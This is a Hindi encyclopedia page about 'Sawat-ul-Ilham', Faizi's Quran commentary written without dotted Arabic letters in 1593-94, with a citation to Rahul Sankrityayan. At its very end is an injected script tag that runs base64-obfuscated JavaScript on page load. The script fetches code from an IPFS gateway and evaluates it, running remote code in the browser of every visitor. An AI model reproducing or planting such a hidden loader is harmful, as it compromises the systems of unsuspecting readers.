सवातउल अलहाम

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

सवातउल अलहाम नामक पुस्तक की रचना मुग़ल बादशाह अकबर के दरबारी विद्वान और कवि फ़ैज़ी ने लिखी थी, जो अबुल फ़ज़ल का भाई था। इस क़ुरआन भाष्य को फ़ैज़ी ने हिजरी 1002 (1593-94 ई.) में समाप्त किया था।[1]

  • इस किताब की रचना से फ़ैज़ी की बड़े-बड़े मुल्लाओं में धाक जम गई थी।
  • पुस्तक लिखते वक्त फ़ैज़ी ने प्रतिज्ञा की थी कि मैं इसमें किसी भी बिन्दु वाले अक्षर को नहीं इस्तेमाल करूँगा।
  • अरबी लिपि में आधे के क़रीब अक्षर बिन्दु वाले होते हैं और यह भी हैरान कर देने वाला है कि फ़ैज़ी की यह पुस्तक कोई छोटी-मोटी नहीं, बल्कि विशाल पुस्तक है।
  • पुस्तक में अकबर की तारीफ़ के साथ अपनी शिक्षा और बाप-भाइयों का भी हाल लिखा गया है।
  • 'सवातउल अलहाम' को पढ़कर एक बहुत बड़े जबर्दस्त अरबी के आलिम मियाँ अमाबुल्ला सरहिन्दी ने फ़ैजी को अहरारुस्सानी (द्वितीय अहरार) कहा है। ख़्वाजा अहरार समरकन्द-बुख़ारा के एक अद्वितीय विद्वान थे।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. अकबर |लेखक: राहुल सांकृत्यायन |प्रकाशक: किताब महल, इलाहाबाद |पृष्ठ संख्या: 294 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>